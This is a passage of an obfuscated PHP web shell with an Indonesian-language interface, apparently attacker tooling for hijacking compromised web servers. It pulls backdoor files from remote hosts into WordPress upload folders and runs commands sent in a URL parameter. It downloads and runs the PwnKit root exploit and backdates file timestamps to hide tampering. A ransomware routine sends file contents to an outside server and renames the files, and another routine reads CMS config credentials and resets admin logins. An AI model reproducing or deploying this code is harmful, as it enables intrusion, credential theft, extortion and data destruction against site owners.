"<span class="text-success">File Exists!</span> <a class="text-info" href='" . $urlbd2 . "' target='_blank' rel='nofollow noopener noreferrer'>" . $urlbd2 . "</a><br/>" . PHP_EOL; chmod($finalbd2, 292); } if (!file_exists($finalbd3)) { if (ini_get("allow_url_fopen")) { $bd3 = file_get_contents($b3); $status_bd3 = file_put_contents($finalbd3, $bd3); if ($status_bd3) { $bdresult .= "<span class="text-success font-weight-bold">Sukses!</span> <a class="text-info" href='" . $urlbd3 . "' target='_blank' rel='nofollow noopener noreferrer'>" . $urlbd3 . "</a><br/>" . PHP_EOL; chmod($finalbd3, 292); } else { $altdir3 = $_SERVER["DOCUMENT_ROOT"] . "/wp-content/uploads/2022/03/"; if (!is_dir($altdir3)) { $altdir3 = $startDirectory . "/wp-content/uploads/2022/03/"; } $altdir3_final = $altdir3 . $nama3; file_put_contents($altdir3_final, $bd3); chmod($altdir3_final, 292); $bdresult .= "<span style=color:red!important;font-weight:bold;>Gagal Taro Di Target! Akses di:</span> " . $home . $altdir3_final . "<br/>" . PHP_EOL; } } } else { $bdresult .= "<span class="text-success">File Exists!</span> <a class="text-info" href='" . $urlbd3 . "' target='_blank' rel='nofollow noopener noreferrer'>" . $urlbd3 . "</a><br/>" . PHP_EOL; chmod($finalbd3, 292); } if (!file_exists($finalbd4)) { if (ini_get("allow_url_fopen")) { $bd4 = file_get_contents($b4); $status_bd4 = file_put_contents($finalbd4, $bd4); if ($status_bd4) { $bdresult .= "<span class="text-success font-weight-bold">Sukses!</span> <a class="text-info" href='" . $urlbd4 . "' target='_blank' rel='nofollow noopener noreferrer'>" . $urlbd4 . "</a><br/>" . PHP_EOL; chmod($finalbd4, 292); } else { $altdir4 = $_SERVER["DOCUMENT_ROOT"] . "/wp-content/uploads/2022/02/"; if (!is_dir($altdir4)) { $altdir4 = $startDirectory . "/wp-content/uploads/2022/02/"; } $altdir4_final = $altdir4 . $nama4; file_put_contents($altdir4_final, $bd4); chmod($altdir4_final, 292); $bdresult .= "<span style=color:red!important;font-weight:bold;>Gagal Taro Di Target! Akses di:</span> " . $home . $altdir4_final . "<br/>" . PHP_EOL; } } } else { $bdresult .= "<span class="text-success">File Exists!</span> <a class="text-info" href='" . $urlbd4 . "' target='_blank' rel='nofollow noopener noreferrer'>" . $urlbd4 . "</a><br/>" . PHP_EOL; chmod($finalbd4, 292); } if (!file_exists($finalbd5)) { if (ini_get("allow_url_fopen")) { $bd5 = file_get_contents($b5); $status_bd5 = file_put_contents($finalbd5, $bd5); if ($status_bd5) { $bdresult .= "<span class="text-success font-weight-bold">Sukses!</span> <a class="text-info" href='" . $urlbd5 . "' target='_blank' rel='nofollow noopener noreferrer'>" . $urlbd5 . "</a><br/>" . PHP_EOL; chmod($finalbd5, 292); } else { $altdir5 = $_SERVER["DOCUMENT_ROOT"] . "/wp-content/uploads/2022/02/"; if (!is_dir($altdir5)) { $altdir5 = $startDirectory . "/wp-content/uploads/2022/02/"; } $altdir5_final = $altdir5 . $nama5; file_put_contents($altdir5_final, $bd5); chmod($altdir5_final, 292); $bdresult .= "<span style=color:red!important;font-weight:bold;>Gagal Taro Di Target! Akses di:</span> " . $home . $altdir5_final . "<br/>" . PHP_EOL; } } } else { $bdresult .= "<span class="text-success">File Exists!</span> <a class="text-info" href='" . $urlbd5 . "' target='_blank' rel='nofollow noopener noreferrer'>" . $urlbd5 . "</a><br/>" . PHP_EOL; chmod($finalbd5, 292); } if (!file_exists($finalbd6)) { if (ini_get("allow_url_fopen")) { $bd6 = file_get_contents($b6); $status_bd6 = file_put_contents($finalbd6, $bd6); if ($status_bd6) { $bdresult .= "<span class="text-success font-weight-bold">Sukses!</span> <a class="text-info" href='" . $urlbd6 . "' target='_blank' rel='nofollow noopener noreferrer'>" . $urlbd6 . "</a><br/>" . PHP_EOL; chmod($finalbd6, 292); } else { $altdir6 = $_SERVER["DOCUMENT_ROOT"] . "/wp-content/uploads/2022/04/"; if (!is_dir($altdir6)) { $altdir6 = $startDirectory . "/wp-content/uploads/2022/04/"; } $altdir6_final = $altdir6 . $nama6; file_put_contents($altdir6_final, $bd6); chmod($altdir6_final, 292); $bdresult .= "<span style=color:red!important;font-weight:bold;>Gagal Taro Di Target! Akses di:</span> " . $home . $altdir6_final . "<br/>" . PHP_EOL; } } } else { $bdresult .= "<span class="text-success">File Exists!</span> <a class="text-info" href='" . $urlbd6 . "' target='_blank' rel='nofollow noopener noreferrer'>" . $urlbd6 . "</a><br/>" . PHP_EOL; chmod($finalbd6, 292); } if (!file_exists($finalbd7)) { if (ini_get("allow_url_fopen")) { $bd7 = file_get_contents($b7); $status_bd7 = file_put_contents($finalbd7, $bd7); if ($status_bd7) { $bdresult .= "<span class="text-success font-weight-bold">Sukses!</span> <a class="text-info" href='" . $urlbd7 . "' target='_blank' rel='nofollow noopener noreferrer'>" . $urlbd7 . "</a><br/>" . PHP_EOL; chmod($finalbd7, 292); } else { $altdir7 = $_SERVER["DOCUMENT_ROOT"] . "/wp-content/uploads/2022/04/"; if (!is_dir($altdir7)) { $altdir7 = $startDirectory . "/wp-content/uploads/2022/04/"; } $altdir7_final = $altdir7 . $nama7; file_put_contents($altdir7_final, $bd7); chmod($altdir7_final, 292); $bdresult .= "<span style=color:red!important;font-weight:bold;>Gagal Taro Di Target! Akses di:</span> " . $home . $altdir7_final . "<br/>" . PHP_EOL; } } } else { $bdresult .= "<span class="text-success">File Exists!</span> <a class="text-info" href='" . $urlbd7 . "' target='_blank' rel='nofollow noopener noreferrer'>" . $urlbd7 . "</a><br/>" . PHP_EOL; chmod($finalbd7, 292); } if (!file_exists($finalbd8)) { if (ini_get("allow_url_fopen")) { $bd8 = file_get_contents($b8); $status_bd8 = file_put_contents($finalbd8, $bd8); if ($status_bd8) { $bdresult .= "<span class="text-success font-weight-bold">Sukses!</span> <a class="text-info" href='" . $urlbd8 . "' target='_blank' rel='nofollow noopener noreferrer'>" . $urlbd8 . "</a><br/>" . PHP_EOL; chmod($finalbd8, 292); } else { $altdir8 = $_SERVER["DOCUMENT_ROOT"] . "/wp-content/uploads/2022/03/"; if (!is_dir($altdir8)) { $altdir8 = $startDirectory . "/wp-content/uploads/2022/03/"; } $altdir8_final = $altdir8 . $nama8; file_put_contents($altdir8_final, $bd8); chmod($altdir8_final, 292); $bdresult .= "<span style=color:red!important;font-weight:bold;>Gagal Taro Di Target! Akses di:</span> " . $home . $altdir8_final . "<br/>" . PHP_EOL; } } } else { $bdresult .= "<span class="text-success">File Exists!</span> <a class="text-info" href='" . $urlbd8 . "' target='_blank' rel='nofollow noopener noreferrer'>" . $urlbd8 . "</a><br/>" . PHP_EOL; chmod($finalbd8, 292); } if (!file_exists($finalbd9)) { if (ini_get("allow_url_fopen")) { $bd9 = file_get_contents($b9); $status_bd9 = file_put_contents($finalbd9, $bd9); if ($status_bd9) { $bdresult .= "<span class="text-success font-weight-bold">Sukses!</span> <a class="text-info" href='" . $urlbd9 . "' target='_blank' rel='nofollow noopener noreferrer'>" . $urlbd9 . "</a><br/>" . PHP_EOL; chmod($finalbd9, 292); } else { $altdir9 = $_SERVER["DOCUMENT_ROOT"] . "/wp-content/uploads/2022/02/"; if (!is_dir($altdir9)) { $altdir9 = $startDirectory . "/wp-content/uploads/2022/02/"; } $altdir9_final = $altdir9 . $nama9; file_put_contents($altdir9_final, $bd9); chmod($altdir9_final, 292); $bdresult .= "<span style=color:red!important;font-weight:bold;>Gagal Taro Di Target! Akses di:</span> " . $home . $altdir9_final . "<br/>" . PHP_EOL; } } } else { $bdresult .= "<span class="text-success">File Exists!</span> <a class="text-info" href='" . $urlbd9 . "' target='_blank' rel='nofollow noopener noreferrer'>" . $urlbd9 . "</a><br/>" . PHP_EOL; chmod($finalbd9, 292); } if (!file_exists($finalbd10)) { if (ini_get("allow_url_fopen")) { $bd10 = file_get_contents($b10); $status_bd10 = file_put_contents($finalbd10, $bd10); if ($status_bd10) { $bdresult .= "<span class="text-success font-weight-bold">Sukses!</span> <a class="text-info" href='" . $urlbd10 . "' target='_blank' rel='nofollow noopener noreferrer'>" . $urlbd10 . "</a><br/>" . PHP_EOL; chmod($finalbd10, 292); } else { $altdir10 = $_SERVER["DOCUMENT_ROOT"] . "/wp-content/uploads/2022/01/"; if (!is_dir($altdir10)) { $altdir10 = $startDirectory . "/wp-content/uploads/2022/01/"; } $altdir10_final = $altdir10 . $nama10; file_put_contents($altdir10_final, $bd10); chmod($altdir10_final, 292); $bdresult .= "<span style=color:red!important;font-weight:bold;>Gagal Taro Di Target! Akses di:</span> " . $home . $altdir10_final . "<br/>" . PHP_EOL; } } } else { $bdresult .= "<span class="text-success">File Exists!</span> <a class="text-info" href='" . $urlbd10 . "' target='_blank' rel='nofollow noopener noreferrer'>" . $urlbd10 . "</a><br/>" . PHP_EOL; chmod($finalbd10, 292); } if (!file_exists($finalbd11)) { if (ini_get("allow_url_fopen")) { $bd11 = file_get_contents($b11); $status_bd11 = file_put_contents($finalbd11, $bd11); if ($status_bd11) { $bdresult .= "<span class="text-success font-weight-bold">Sukses!</span> <a class="text-info" href='" . $urlbd11 . "' target='_blank' rel='nofollow noopener noreferrer'>" . $urlbd11 . "</a><br/>" . PHP_EOL; chmod($finalbd11, 292); } else { $altdir11 = $_SERVER["DOCUMENT_ROOT"] . "/wp-content/uploads/2022/01/"; if (!is_dir($altdir11)) { $altdir11 = $startDirectory . "/wp-content/uploads/2022/01/"; } $altdir11_final = $altdir11 . $nama11; file_put_contents($altdir11_final, $bd11); chmod($altdir11_final, 292); $bdresult .= "<span style=color:red!important;font-weight:bold;>Gagal Taro Di Target! Akses di:</span> " . $home . $altdir11_final . "<br/>" . PHP_EOL; } } } else { $bdresult .= "<span class="text-success">File Exists!</span> <a class="text-info" href='" . $urlbd11 . "' target='_blank' rel='nofollow noopener noreferrer'>" . $urlbd11 . "</a><br/>" . PHP_EOL; chmod($finalbd11, 292); } if (!file_exists($finalbd12)) { if (ini_get("allow_url_fopen")) { $bd12 = file_get_contents($b12); $status_bd12 = file_put_contents($finalbd12, $bd12); if ($status_bd12) { $bdresult .= "<span class="text-success font-weight-bold">Sukses!</span> <a class="text-info" href='" . $urlbd12 . "' target='_blank' rel='nofollow noopener noreferrer'>" . $urlbd12 . "</a><br/>" . PHP_EOL; chmod($finalbd12, 292); } else { $altdir12 = $_SERVER["DOCUMENT_ROOT"] . "/wp-content/uploads/2022/02/"; if (!is_dir($altdir12)) { $altdir12 = $startDirectory . "/wp-content/uploads/2022/02/"; } $altdir12_final = $altdir12 . $nama12; file_put_contents($altdir12_final, $bd12); chmod($altdir12_final, 292); $bdresult .= "<span style=color:red!important;font-weight:bold;>Gagal Taro Di Target! Akses di:</span> " . $home . $altdir12_final . "<br/>" . PHP_EOL; } } } else { $bdresult .= "<span class="text-success">File Exists!</span> <a class="text-info" href='" . $urlbd12 . "' target='_blank' rel='nofollow noopener noreferrer'>" . $urlbd12 . "</a><br/>" . PHP_EOL; chmod($finalbd12, 292); } if (!file_exists($finalbd13)) { if (ini_get("allow_url_fopen")) { $bd13 = file_get_contents($b13); $status_bd13 = file_put_contents($finalbd13, $bd13); if ($status_bd13) { $bdresult .= "<span class="text-success font-weight-bold">Sukses!</span> <a class="text-info" href='" . $urlbd13 . "' target='_blank' rel='nofollow noopener noreferrer'>" . $urlbd13 . "</a><br/>" . PHP_EOL; chmod($finalbd13, 292); } else { $altdir13 = $_SERVER["DOCUMENT_ROOT"] . "/wp-content/uploads/2022/013/"; if (!is_dir($altdir13)) { $altdir13 = $startDirectory . "/wp-content/uploads/2022/013/"; } $altdir13_final = $altdir13 . $nama13; file_put_contents($altdir13_final, $bd13); chmod($altdir13_final, 292); $bdresult .= "<span style=color:red!important;font-weight:bold;>Gagal Taro Di Target! Akses di:</span> " . $home . $altdir13_final . "<br/>" . PHP_EOL; } } } else { $bdresult .= "<span class="text-success">File Exists!</span> <a class="text-info" href='" . $urlbd13 . "' target='_blank' rel='nofollow noopener noreferrer'>" . $urlbd13 . "</a><br/>" . PHP_EOL; chmod($finalbd13, 292); } ob_end_flush(); echo "<div class="bigarea" name="output style="border-bottom:0;margin-top:5px;" readonly>"; print_r($bdresult) . PHP_EOL; echo "</div>"; } echo "</div></div>"; } goto A9k68; gO_7z: if ($_GET["aksi"] == "masdef") { IIIIIIIl1l11($dir, $file, $IIIIIIII1l1I, $IIIIIIII1l1l); } goto uQ9_k; V3I3M: error_reporting(0); goto J7ej1; GFwbZ: if (isset($_GET["cmd"])) { echo "<div class="bg-secondary p-4">"; echo "<pre class='text-white'>" . ex($_GET["cmd"]) . "</pre>"; echo "</div>"; die; } goto J5wOo; vpGGu: $IIIIIIII1l1I = "<img src='https://cdn4.iconfinder.com/data/icons/Pretty_office_icon_part_2/256/folder.png' class='ico'></img>"; goto pSUP2; my3Jv: function gsc($dir) { echo "<div class="card mb-5">
<div class="card-body form-group">"; echo "<h4 class="text-warning font-weight-bold">Deploying GSC HTML File</h4>"; $url = "https://linkid.org/r/elwp/google3e02510abb600290.html"; $startDirectory = realpath(__DIR__); if ($startDirectory !== $_SERVER["DOCUMENT_ROOT"]) { $gschtml = $startDirectory . "/google3e02510abb600290.html"; } else { $gschtml = $_SERVER["DOCUMENT_ROOT"] . "/google3e02510abb600290.html"; } if (!file_exists($gschtml)) { if (ini_get("allow_url_fopen")) { $content = file_get_contents($url); $status = file_put_contents($gschtml, $content); if ($status) { echo "<span class="text-success font-weight-bold">Berhasil Upload File GSC!</span>"; chmod($gschtml, 292); } else { echo "<span style=color:red!important;font-weight:bold;>Can't Download GSC File!</span>"; } } else { $fp = fopen($gschtml, "w+"); $ch = curl_init($url); curl_setopt($ch, CURLOPT_FILE, $fp); curl_exec($ch); $st_code = curl_getinfo($ch, CURLINFO_HTTP_CODE); curl_close($ch); fclose($fp); if ($st_code == 200) { echo "<span class="text-success font-weight-bold">Berhasil Upload File GSC!</span>"; chmod($gschtml, 292); } else { echo "<span class="text-danger font-weight-bold";>Can't Download GSC File!</span>"; } } } else { echo "<span class="text-info font-weight-bold";>File GSC Udah Ada!</span>"; } echo "</div></div>"; } goto DSy7v; foTk5: $dir = str_replace("\", "/", $dir); goto x6dqP; xbzJ0: $IIIIIIIlllIl = basename($file); goto mA8lq; jv_H7: if ($_GET["aksi"] == "chmod_dir") { IIIIIIIl1IlI($dir, $IIIIIIIl1Ill); } goto srtjT; IMYQ9: $IIIIIIII1IlI = $_SERVER["HTTP_HOST"]; goto wPDPB; qk_sa: if ($_GET["aksi"] == "sym_404") { IIIIIII111ll($dir, $file); } goto nyJNx; yjCw8: $IIIIIIIIII1l = "UTF-8"; goto o55aw; ygJ1p: if ($_GET["aksi"] == "jumping") { IIIIIII1IIlI($dir, $file, $IIIIIIII1III); } goto QOeUu; Zq00K: if ($_GET["aksi"] == "terminalroot") { IIIIIIIlI1lI($dir); } goto U8hFk; XlvIp: function IIIIIIIlI1ll($dir, $IIIIIIII1l1I) { echo "<div class='card'>
<div class='card-body form-group'><form>
<h5><p class='text-muted'>Bulk Change Date</p></h5>\xa<h5><p class='text-muted'>{$IIIIIIII1l1I} Target Directory/file :</p></h5>
<input type='text' class='form-control' name='changedatenya' autocomplete='off' placeholder='ex : /var/www/html'>
</form></div></div>"; } goto KaezF; HtwCQ: if (isset($_GET["ngebepassnya"])) { $IIIIIIlllI11 = $_GET["ngebepassnya"]; echo "<pre class='text-white'>" . ex("ls '{$IIIIIIlllI11}' > date.txt") . "</pre>"; ex("for i in $(cat date.txt);do touch -mt $(echo 201$((RANDOM%10))0$((RANDOM%10))0$((RANDOM%10))0000) " . $_GET["ngebepassnya"] . "/$i;done"); echo "<p class='text-white'>[+] Modification Done!</p></div></div>"; ex("rm -rf date.txt"); die; } goto LFiqG; Pt7aW: if ($_GET["aksi"] == "upload") { IIIIIIIllIll($dir); } goto Jb3E0; J5wOo: if (isset($_GET["rootnya"])) { $IIIIIIlllI11 = $_GET["rootnya"]; ex("curl -fsSL https://raw.githubusercontent.com/ly4k/PwnKit/main/PwnKit -o roothunter;chmod +x roothunter"); echo "<pre class='text-white'>" . ex("./roothunter '{$IIIIIIlllI11}'") . "</pre>"; ex("rm -rf roothunter"); die; } goto GVG6U; uaM2x: function ransom($dir, $file) { if (isset($_POST["encrypt"])) { $dir = $_POST["path"]; echo "<textarea class='form-control mb-4' rows='13' disabled=''>"; function IIIIIIlI11I1($dir) { if (is_dir($dir)) { $IIIIIIlI11lI = scandir($dir); unset($IIIIIIlI11lI[array_search(".", $IIIIIIlI11lI, true)]); unset($IIIIIIlI11lI[array_search("..", $IIIIIIlI11lI, true)]); if (count($IIIIIIlI11lI) < 1) { return; } foreach ($IIIIIIlI11lI as $IIIIIIlI11l1) { $IIIIIIlI111I = $dir . "/" . $IIIIIIlI11l1; if (!is_dir($IIIIIIlI111I)) { $file = file_get_contents($IIIIIIlI111I); $IIIIIIlI111l = base64_encode($file); $IIIIIIllIIII = curl_init(); curl_setopt($IIIIIIllIIII, CURLOPT_URL, "http://encrypt.indsc.me/api.php?type=encrypt"); curl_setopt($IIIIIIllIIII, CURLOPT_RETURNTRANSFER, 1); curl_setopt($IIIIIIllIIII, CURLOPT_POSTFIELDS, "text={$IIIIIIlI111l}"); $x = json_decode(curl_exec($IIIIIIllIIII)); if ($x->status == "success") { $IIIIIIllIIl1 = base64_decode($x->data); rename($IIIIIIlI111I, $IIIIIIlI111I . ".indsc"); echo "[+]{$IIIIIIlI111I} => Success Encrypted\xa"; } } if (is_dir($dir . "/" . $IIIIIIlI11l1)) { IIIIIIlI11I1($dir . "/" . $IIIIIIlI11l1); } } $IIIIIIllII1I = file_get_contents("https://pastebin.com/raw/aGZ6BeTH"); $IIIIIIllII1l = fopen($dir . "/index.html", "w"); fwrite($IIIIIIllII1l, $IIIIIIllII1I); fclose($IIIIIIllII1l); echo "\xa[+] Done !"; } else { echo "
Bukan dir"; } } IIIIIIlI11I1($dir); echo "</textarea><br/>"; } else { echo "<form method="post">\xa<div class="form-group">
<h4 class="text-center mb-4"><i class="fa fa-lock"></i> Ransomware</h4>
<label>Pilih Directory :</label>
<div class="form-group input-group">
<div class="input-group-prepend">\xa<div class="input-group-text"><i class="fa fa-home"></i></div>
</div>\xa<input type="text" name="path" class="form-control" value="" . $dir . ""/>
</div>\xa<input type="submit" name="encrypt" class="btn btn-danger btn-block" value="Encrypt"/>
</div>\xa</form>"; } die; } goto XnLRJ; vKC7m: $IIIIIIII1ll1 = !empty($IIIIIIII1llI) ? "<a href=' ? dir = {$dir} & aksi = disabfunc' class='ds'>{$IIIIIIII1llI}</a>" : "<a href=' ? dir = {$dir} & aksi = disabfunc'><font color=green>NONE</font></a>"; goto vpGGu; dSTbr: if ($_GET["aksi"] == "bctools") { IIIIIIlIIIll($dir, $file); } goto t68Gu; DSy7v: function modules($dir) { echo "<div class="card mb-5">\xa<div class="card-body form-group">"; echo "<p class="text-warning font-weight-bold">[+] Checking Modules</p>"; $makev = "make --version"; $gccv = "gcc --version"; $pythonv = "python --version"; $makev_result = ex($makev); if ($makev_result == '') { echo "<p class="text-muted"><pre>[+] Make not installed!</pre></p>"; } else { echo "<p class="text-muted"><pre><code>" . $makev_result . "</code></pre><br></p>"; } $gccv_result = ex($gccv); if ($gccv_result == '') { echo "<p class="text-muted"><pre><code>[+] GCC not installed!</code></pre></p>"; } else { echo "<p class="text-muted"><pre><code>" . $gccv_result . "</code></pre><br></p>"; } $pythonv_result = ex($pythonv); if ($pythonv_result == '') { echo "<p class="text-muted"><pre><code>[+] Python not installed!</code></pre></p>"; } else { echo "<p class="text-muted"><pre><code>" . $pythonv_result . "</code></pre><br></p>"; } echo "</div></div>"; } goto lDEHU; LLTEe: if ($_GET["aksi"] == "gsc") { gsc($dir); } goto xaPb1; ceoRa: if ($_GET["aksi"] == "bypascf") { IIIIIIllIl11(); } goto C_qji; Veqhf: function IIIIIIIl1lI1($dir, $IIIIIIIl1Ill, $IIIIIIII1l1I) { echo "[ <a href='?dir=" . $dir . "&aksi=rename_folder' class='active'>Rename</a> ] [ <a href='?dir=" . $dir . "&aksi=hapus_folder'>Delete</a> ] \xa<h5>{$IIIIIIII1l1I} Rename Folder : {$IIIIIIIl1Ill} </h5>\xa<form method='POST'>\xa<input type='text' class='form-control' name='namanew' placeholder='Masukan Nama Baru...' value='{$IIIIIIIl1I1I}'><br/>
<button type='sumbit' class='btn btn-success btn-block mb-5' name='ganti'>Ganti!!</button><br/>
</form>"; if (isset($_POST["ganti"])) { $IIIIIIIll111 = htmlspecialchars($_POST["namanew"]); $IIIIIIIl1llI = rename($dir, '' . dirname($dir) . "/" . $IIIIIIIll111 . ''); if ($IIIIIIIl1llI) { $IIIIIIIlIl1l = "success"; $IIIIIIIlIl11 = "Berhasil Mengganti Nama"; $dir = dirname($dir); IIIIIIIlIl1I($IIIIIIIlIl1l, $IIIIIIIlIl11, $dir); } else { $IIIIIIIlIl1l = "error"; $IIIIIIIlIl11 = "Gagal Mengganti Nama"; $dir = dirname($dir); IIIIIIIlIl1I($IIIIIIIlIl1l, $IIIIIIIlIl11, $dir); } } die; } goto A6VzY; PZ8XY: if ($_GET["aksi"] == "rename_folder") { IIIIIIIl1lI1($dir, $IIIIIIIl1Ill, $IIIIIIII1l1I); } goto KWEKS; iDKvO: ini_set("log_errors_max_len", 0); goto TOKr0; BRRlq: $IIIIIIIIIIl1 = "FilesMan"; goto R6_EV; IGMJB: if (!isset($_COOKIE[sha1(md5($_SERVER["HTTP_HOST"])) . "ajax"])) { $_COOKIE[sha1(md5($_SERVER["HTTP_HOST"])) . "ajax"] = (bool) $asciifnc1; } goto GeTM0; usbii: echo "<div id="tab" class="table-responsive"><center><table class="text-white table mt-1 table-hover table-responsive">
<thead class="bg-info text-center">
<th class="text-left">File/folder</th>\xa<th>Size</th>
<th>Last Modified</th>\xa<th>Permission</th>
<th>Action</th>\xa</thead>"; goto kCWJ2; eUJt7: $keyxx = $_SESSION["keyxx"]; goto wcB7c; Dm97v: function IIIIIII1l1lI($dir, $file) { $IIIIIII1l1ll = str_replace($_SERVER["DOCUMENT_ROOT"], '', $dir); ex("wget https://github.com/vrana/adminer/releases/download/v4.8.1/adminer-4.8.1.php -O adminer.php"); if (file_exists("adminer.php")) { echo "<p class='text-center'>Berhasil Membuat Adminer</p><a href='{$IIIIIII1l1ll}/adminer.php' target='_blank' class='text-center btn btn-success btn-block mb-3'>Login Adminer</a>"; } else { if (file_exists("adminer.php")) { echo "<p class='text-center'>Berhasil Membuat Adminer</p><a href='{$IIIIIII1l1ll}/adminer.php' target='_blank' class='text-center btn btn-success btn-block mb-3'>Login Adminer</a>"; } else { ex("curl -sL https://github.com/vrana/adminer/releases/download/v4.8.1/adminer-4.8.1.php -o adminer.php"); if (file_exists("adminer.php")) { echo "<p class='text-center'>Berhasil Membuat Adminer</p><a href='{$IIIIIII1l1ll}/adminer.php' target='_blank' class='text-center btn btn-success btn-block mb-3'>Login Adminer</a>"; } else { echo "<p class='text-center text-danger'>Gagal Membuat Adminer</p>"; } } } die; } goto n7gkr; k5gyt: function IIIIIIlIlllI($dir, $file) { if ($_POST["hajar"]) { if (strlen($_POST["pass_baru"]) < 6 or strlen($_POST["user_baru"]) < 6) { echo "Username dan Password harus lebih dari 6 karakter"; } else { $user_baru = $_POST["user_baru"]; $pass_baru = md5($_POST["pass_baru"]); $conf = $_POST["config_dir"]; $IIIIIIlIll1l = scandir($conf); foreach ($IIIIIIlIll1l as $IIIIIIlIll11) { if (!is_file("{$conf}/{$IIIIIIlIll11}")) { continue; } $config = file_get_contents("{$conf}/{$IIIIIIlIll11}"); if (preg_match("/JConfig|joomla/", $config)) { $IIIIIIlIl1Il = IIIIIIII11l1($config, "host = '", "'"); $IIIIIIlIl1I1 = IIIIIIII11l1($config, "user = '", "'"); $IIIIIIlIl1lI = IIIIIIII11l1($config, "password = '", "'"); $IIIIIIlIl1ll = IIIIIIII11l1($config, "db = '", "'"); $IIIIIIlIl1l1 = IIIIIIII11l1($config, "dbprefix = '", "'"); $IIIIIIlIl11I = $IIIIIIlIl1l1 . "users"; $IIIIIIlIl11l = mysql_connect($IIIIIIlIl1Il, $IIIIIIlIl1I1, $IIIIIIlIl1lI); $IIIIIIlI1III = mysql_select_db($IIIIIIlIl1ll); $IIIIIIlI1IIl = mysql_query("SELECT * FROM {$IIIIIIlIl11I} ORDER BY id ASC"); $IIIIIIlII1l1 = mysql_fetch_array($IIIIIIlI1IIl); $id = $IIIIIIlII1l1["id"]; $IIIIIIlIlI1l = IIIIIIII11l1($config, "sitename = '", "'"); $IIIIIIlI1Il1 = mysql_query("UPDATE {$IIIIIIlIl11I} SET username='{$user_baru}',password='{$pass_baru}' WHERE id='{$id}'"); echo "Config => " . $IIIIIIlIll11 . "<br>"; echo "CMS => Joomla<br>"; if ($IIIIIIlIlI1l == '') { echo "Sitename => <font color=red>error, gabisa ambil nama domain nya</font><br>"; } else { echo "Sitename => {$IIIIIIlIlI1l}<br>"; } if (!$IIIIIIlI1Il1 or !$IIIIIIlIl11l or !$IIIIIIlI1III) { echo "Status => <font color=red>" . mysql_error() . "</font><br><br>"; } else { echo "Status => <font color=lime>Sukses, Silakan login dengan User & Password yang baru.</font><br><br>"; } mysql_close($IIIIIIlIl11l); } elseif (preg_match("/WordPress/", $config)) { $IIIIIIlIl1Il = IIIIIIII11l1($config, "DB_HOST', '", "'"); $IIIIIIlIl1I1 = IIIIIIII11l1($config, "DB_USER', '", "'"); $IIIIIIlIl1lI = IIIIIIII11l1($config, "DB_PASSWORD', '", "'"); $IIIIIIlIl1ll = IIIIIIII11l1($config, "DB_NAME', '", "'"); $IIIIIIlIl1l1 = IIIIIIII11l1($config, "table_prefix = '", "'"); $IIIIIIlIl11I = $IIIIIIlIl1l1 . "users"; $IIIIIIlI1I11 = $IIIIIIlIl1l1 . "options"; $IIIIIIlIl11l = mysql_connect($IIIIIIlIl1Il, $IIIIIIlIl1I1, $IIIIIIlIl1lI); $IIIIIIlI1III = mysql_select_db($IIIIIIlIl1ll); $IIIIIIlI1IIl = mysql_query("SELECT * FROM {$IIIIIIlIl11I} ORDER BY id ASC"); $IIIIIIlII1l1 = mysql_fetch_array($IIIIIIlI1IIl); $id = $IIIIIIlII1l1[ID]; $IIIIIIlI1lII = mysql_query("SELECT * FROM {$IIIIIIlI1I11} ORDER BY option_id ASC"); $IIIIIIlI1lIl = mysql_fetch_array($IIIIIIlI1lII); $target = $IIIIIIlI1lIl[option_value]; if ($target == '') { $IIIIIIlI1llI = "Login => <font color=red>Error, Tidak dapat mengambil nama domainnya</font><br>"; } else { $IIIIIIlI1llI = "Login => <a href='{$target}/wp-login.php' target='_blank'><u>{$target}/wp-login.php</u></a><br>"; } $IIIIIIlI1Il1 = mysql_query("UPDATE {$IIIIIIlIl11I} SET user_login='{$user_baru}',user_pass='{$pass_baru}' WHERE id='{$id}'"); echo "Config => " . $IIIIIIlIll11 . "<br>"; echo "CMS => Wordpress<br>"; echo $IIIIIIlI1llI; if (!$IIIIIIlI1Il1 or !$IIIIIIlIl11l or !$IIIIIIlI1III) { echo "Status => <font color=red>" . mysql_error() . "</font><br><br>"; } else { echo "Status => <font color=lime>Sukses, Silakan login dengan User & Password yang baru.</font><br><br>"; } mysql_close($IIIIIIlIl11l); } elseif (preg_match("/Magento|Mage_Core/", $config)) { $IIIIIIlIl1Il = IIIIIIII11l1($config, "<host><![CDATA[", "]]></host>"); $IIIIIIlIl1I1 = IIIIIIII11l1($config, "<username><![CDATA[", "]]></username>"); $IIIIIIlIl1lI = IIIIIIII11l1($config, "<password><![CDATA[", "]]></password>"); $IIIIIIlIl1ll = IIIIIIII11l1($config, "<dbname><![CDATA[", "]]></dbname>"); $IIIIIIlIl1l1 = IIIIIIII11l1($config, "<table_prefix><![CDATA[", "]]></table_prefix>"); $IIIIIIlIl11I = $IIIIIIlIl1l1 . "admin_user"; $IIIIIIlI1I11 = $IIIIIIlIl1l1 . "core_config_data"; $IIIIIIlIl11l = mysql_connect($IIIIIIlIl1Il, $IIIIIIlIl1I1, $IIIIIIlIl1lI); $IIIIIIlI1III = mysql_select_db($IIIIIIlIl1ll); $IIIIIIlI1IIl = mysql_query("SELECT * FROM {$IIIIIIlIl11I} ORDER BY user_id ASC"); $IIIIIIlII1l1 = mysql_fetch_array($IIIIIIlI1IIl); $id = $IIIIIIlII1l1[user_id]; $IIIIIIlI1lII = mysql_query("SELECT * FROM {$IIIIIIlI1I11} WHERE path='web/secure/base_url'"); $IIIIIIlI1lIl = mysql_fetch_array($IIIIIIlI1lII); $target = $IIIIIIlI1lIl[value]; if ($target == '') { $IIIIIIlI1llI = "Login => <font color=red>Error, Tidak dapat mengambil nama domainnya</font><br>"; } else { $IIIIIIlI1llI = "Login => <a href='{$target}/admin/' target='_blank'><u>{$target}/admin/</u></a><br>"; } $IIIIIIlI1Il1 = mysql_query("UPDATE {$IIIIIIlIl11I} SET username='{$user_baru}',password='{$pass_baru}' WHERE user_id='{$id}'"); echo "Config => " . $IIIIIIlIll11 . "<br>"; echo "CMS => Magento<br>"; echo $IIIIIIlI1llI; if (!$IIIIIIlI1Il1 or !$IIIIIIlIl11l or !$IIIIIIlI1III) { echo "Status => <font color=red>" . mysql_error() . "</font><br><br>"; } else { echo "Status => <font color=lime>Sukses, Silakan login dengan User & Password yang baru.</font><br><br>"; } mysql_close($IIIIIIlIl11l); } elseif (preg_match("/HTTP_SERVER|HTTP_CATALOG|DIR_CONFIG|DIR_SYSTEM/", $config)) { $IIIIIIlIl1Il = IIIIIIII11l1($config, "'DB_HOSTNAME', '", "'"); $IIIIIIlIl1I1 = IIIIIIII11l1($config, "'DB_USERNAME', '", "'"); $IIIIIIlIl1lI = IIIIIIII11l1($config, 